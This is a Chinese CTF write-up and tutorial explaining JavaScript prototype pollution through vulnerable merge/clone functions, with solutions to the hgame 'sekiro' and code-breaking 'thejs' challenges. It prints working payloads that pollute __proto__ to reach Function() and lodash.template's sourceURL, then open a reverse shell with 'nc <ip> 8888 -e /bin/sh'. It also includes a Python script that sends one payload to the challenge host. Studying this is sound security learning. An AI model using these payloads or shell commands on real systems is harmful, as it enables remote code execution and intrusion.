因为数模导致本来不打算做week4的题目的,不过当时瞅了一眼sekiro这道题并且看出来是原型链污染(也有叫Node.js污染,javasrcipt原型链污染的)。可惜当时没做过,没深入也没做出来。今天抽空看了下wp才明白。干脆把当时查阅资料学到的知识总结下。
时间线上看,国内最早出现的原型链污染题目应该是出自P牛代码审计知识星球的hard-the js。整体上算比较新的洞。在各种比赛出现频次一般,原因有很多,这点之后再谈。其主要是前端形式的攻击,而且涉及到javascript知识更多些,因此还是要从javascript的角度学习下:
原型链
经常有这样一种说法:javascript中万物皆对象。这个说法严格来讲不准确,但是却体现了js语法及使用上的特性。javaScript中的对象其实就是一些键值对的集合,每一个键值对叫做一个属性,比如:
此时对象obj就有了name
与website
两个属性。但其实其输出内容并不只有这两个,完整输出的如下:
可以看到,输出属性中出现了proto
以及constructor
这样的字眼,那他们到底是什么呢?这要提到js继承的概念,继承的整个过程就称为该类的原型链。
从刚刚的例子可以看到,从obj的__proto__
中能明白其父类是Object.(Constructor返回用于创建这个对象的函数),同时还有许多其他函数。
对于类,有一个与之相对应的属性,叫做prototype
。且二者等价。比如下面这个p牛的经典例子
从类的角度讲,prototype
是其一个属性,所有类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。但是类所实例化的对象并不能通过prototype访问原型,所以才有__proto__
出现,且一个对象的proto属性,指向这个对象所在的类的prototype属性。
原型链污染
而原型链的特性决定了其在js继承中的重要之处。而其特性表现在,在我们调用一个对象的某一属性时:
1.对象(obj)中寻找这一属性 2.如果找不到,则在obj.__proto__中寻找属性 3.如果仍然找不到,则继续在obj.__proto__.__proto__中寻找这一属性
以上机制被称为js的prototype继承链。而原型链污染就与这有关
比如以下代码:
let foo = {bar: 1} console.log(foo.bar) foo.__proto__.bar = 2 console.log(foo.bar) let zoo = {} console.log(zoo.bar)
结果为
可以发现,在我们通过__proto__
修改bar值后,再度实例化一个新的对象时,其bar值从1变为了2。原因如下:前面修改foo的原型foo.__proto__.bar = 2
,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2.
那么后面我们zoo相当于是实例化了一个Object类,自然有属性bar=2.
所以原型链污染定义如下:
如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染
使用场景
原型链污染的使用场景我也不熟,但是目前根据题目出现的情况,主要与这两个函数有关
merge() clone()
常用源码如下,可以看出clone与merge并无本质区别:
const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); }
本质上这两个函数会有风险,就是因为存在能够控制数组(对象)的“键名”的操作。
但是要想实现原型链污染,光只要键名可控是不够的。以下面这个例子为参考:
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } }
尝试把第二个键名设为__proto__
并赋值b为2。看看能不能把object的属性b改为2。
可以看见最后o3.b
返回的是undefined
,并没有污染成功。
主要原因就是因为__proto__
没有被认为是一个键名。而这就需要我上面提到的另一个条件,代码如下时:
let o1 = {} let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}') merge(o1, o2) console.log(o1.a, o1.b) o3 = {} console.log(o3.b)
如果存在JSON.parse()
,就能成功把__proto__
解析成键名了。
有了这些基础,就基本能了解原型链污染的原理了。
真题
hgame sekiro
回头来看hgame中sekiro这道题,题目给出的关键源码主要在一下两个js文件中
route/index.js
var express = require('express'); var router = express.Router(); var game = require('../utils/index'); const isObject = obj => obj && obj.constructor && obj.constructor === Object; const merge = (a, b) => { for (var attr in b) { if (isObject(a[attr]) && isObject(b[attr])) { merge(a[attr], b[attr]); } else { a[attr] = b[attr]; } } return a } const clone = (a) => { return merge({}, a); } var Game = new game(); router.get('/', function (req, res) { res.render('index'); }); router.post('/action', function (req, res) { if (!req.session.sekiro) { res.end("Session required.") } if (!req.session.sekiro.alive) { res.end("You dead.") } var body = JSON.parse(JSON.stringify(req.body)); var copybody = clone(body) if (copybody.solution) { req.session.sekiro = Game.dealWithAttacks(req.session.sekiro, copybody.solution) } res.end("提交成功") }) router.get('/attack', function (req, res) { if (!req.session.sekiro) { res.end("Session required.") } if (!req.session.sekiro.alive) { res.end("You dead.") } req.session.sekiro.attackInfo = Game.getAttackInfo() res.end(req.session.sekiro.attackInfo.method) }) router.get('/info', function (req, res) { if (typeof(req.query.restart) != "undefined" || !req.session.sekiro) { req.session.sekiro = { "health": 3000, posture: 0, alive: true } } res.json(req.session.sekiro); }) module.exports = router;
以及util/index.js
function game() { this.attacks = [ { "method": "连续砍击", "attack": 1000, "additionalEffect": "sekiro.posture+=100", "solution": "连续格挡" }, { "method": "普通攻击", "attack": 500, "additionalEffect": "sekiro.posture+=50", "solution": "格挡" }, { "method": "下段攻击", "attack": 1000, "solution": "跳跃踩头" }, { "method": "突刺攻击", "attack": 1000, "solution": "识破" }, { "method": "巴之雷", "attack": 1000, "solution": "雷反" }, ] this.getAttackInfo = function () { return this.attacks[Math.floor(Math.random() * this.attacks.length)] } this.dealWithAttacks = function (sekiro, solution) { if (sekiro.attackInfo.solution !== solution) { sekiro.health -= sekiro.attackInfo.attack if (sekiro.attackInfo.additionalEffect) { var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro") sekiro = fn(sekiro) } } sekiro.posture = (sekiro.posture <= 500) ? sekiro.posture : 500 sekiro.health = (sekiro.health > 0) ? sekiro.health : 0 if (sekiro.posture == 500 || sekiro.health == 0) { sekiro.alive = false } return sekiro } } module.exports = game;
很容易发现index.js中,在/action
这个路由里,有merge(),clone()
函数的出现。于是我们跟进下,发现要到dealWithAttacks()
这个函数去,于是再审计下关键代码:
if (sekiro.attackInfo.additionalEffect) { var fn = Function("sekiro", sekiro.attackInfo.additionalEffect + "\nreturn sekiro") sekiro = fn(sekiro) }
这里的attackInfo.additionalEffect
如果能被我们污染,明显是可以直接RCE的。那么我们要做的就是污染Object类,当题目执行attackInfo.additionalEffect
找不到additionalEffect
时,就会继续找到基类被污染的这一属性,从而执行我们的代码。
所以paylaod如下
{"solution":"1","__proto__": {"additionalEffect":"global.process.mainModule.constructor._load('child_process'). exec('nc vps-ip 8877 -e /bin/sh',function(){});"}}
我在使用bp传值时没弹到shell,后来只能用python写脚本了,也许是JSON数据的问题吧。
import requests import json url='http://sekiro.hgame.babelfish.ink/action' cookie={ 'session':'s%3ACDDqh7q_XQ-rRAIB7W93PfE75p9oD7gS.UQuPEE0eikMrkIoAUaWJ3TFIibdRs72odZliCVcyzrk' } headers={ 'Content-Type':'application/json' } payload={"solution":"1","__proto__": {"additionalEffect":"global.process.mainModule.constructor._load('child_process'). exec('nc 120.27.246.202 8888 -e /bin/sh',function(){});"}} res=requests.post(url,cookies=cookie,headers=headers,data=json.dumps(payload)) print(res.text)
使用bash弹shell貌似没成,可能是某些奇怪的问题
code-breaking thejs
开头提到了p牛知识星球的这道题,那么现在再来看看:
const fs = require('fs') const express = require('express') const bodyParser = require('body-parser') const lodash = require('lodash') const session = require('express-session') const randomize = require('randomatic') const app = express() app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json()) app.use('/static', express.static('static')) app.use(session({ name: 'thejs.session', secret: randomize('aA0', 16), resave: false, saveUninitialized: false })) app.engine('ejs', function (filePath, options, callback) { // define the template engine fs.readFile(filePath, (err, content) => { if (err) return callback(new Error(err)) let compiled = lodash.template(content) let rendered = compiled({...options}) return callback(null, rendered) }) }) app.set('views', './views') app.set('view engine', 'ejs') app.all('/', (req, res) => { let data = req.session.data || {language: [], category: []} if (req.method == 'POST') { data = lodash.merge(data, req.body) req.session.data = data } res.render('index', { language: data.language, category: data.category }) }) app.listen(3000, () => console.log(`Example app listening on port 3000!`))
漏洞点非常清晰,就是一个POST处用到了merge,显然存在原型链污染漏洞。那么关键函数需要去看看,所以需要参考lodash的代码(lodash是一个辅助功能集,这里主要用到的还是lodash.merge
和lodash.template
)如果去审计源码,会发现这样一个属性https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165及对应源码,和后面的调用。
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : ''; // ... var result = attempt(function() { return Function(importsKeys, sourceURL + 'return ' + source) .apply(undefined, importsValues); });
开始sourceURL
是空值,但是后面它作为new Function的第二个参数中,造成任意代码执行漏洞。
所以payload如下:
{"__proto__":{"sourceURL":"\u000aglobal.process.mainModule.constructor._load('child_process').exec('nc 120.27.246.202 8888 -e /bin/sh',function(){});"}}
需要注意的是,此处的/u000a
必不可少,这时json中的换行。并且一定要把Content-Type
必须设置成application/json
。否则__proto__
会被处理成字符串。
这里同样使用跟hgame那道题一样的弹shell手段。可以拿到shell
同时因为不知道文件名,使用cat /fl*
来模糊处理。
值得一提的是,p牛对此题的payload额外带了一个for循环
for (var a in{}) {delete Object.prototype[a]}
删掉污染的原型。这时因为原型污染这一漏洞除非整个程序重启,否则所有的对象都会被污染与影响。这样在awd等等比赛中一旦你拿到flag,就有可能被别人直接访问到。
总结下:
1.原型链污染属于前端漏洞应用,基本上需要源码审计功力来进行解决;找到merge(),clone()
只是确定漏洞的开始
2.进行审计需要以达成RCE为主要目的。通常exec, return
等等都是值得注意的关键字。
3.题目基本是以弹shell为最终目的。目前来看很多Node.js传统弹shell方式并不适用.wget,curl,以及我两道题都用到的nc比较适用。
参考文章:
https://www.anquanke.com/post/id/176884#h3-5
https://xz.aliyun.com/t/2802
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html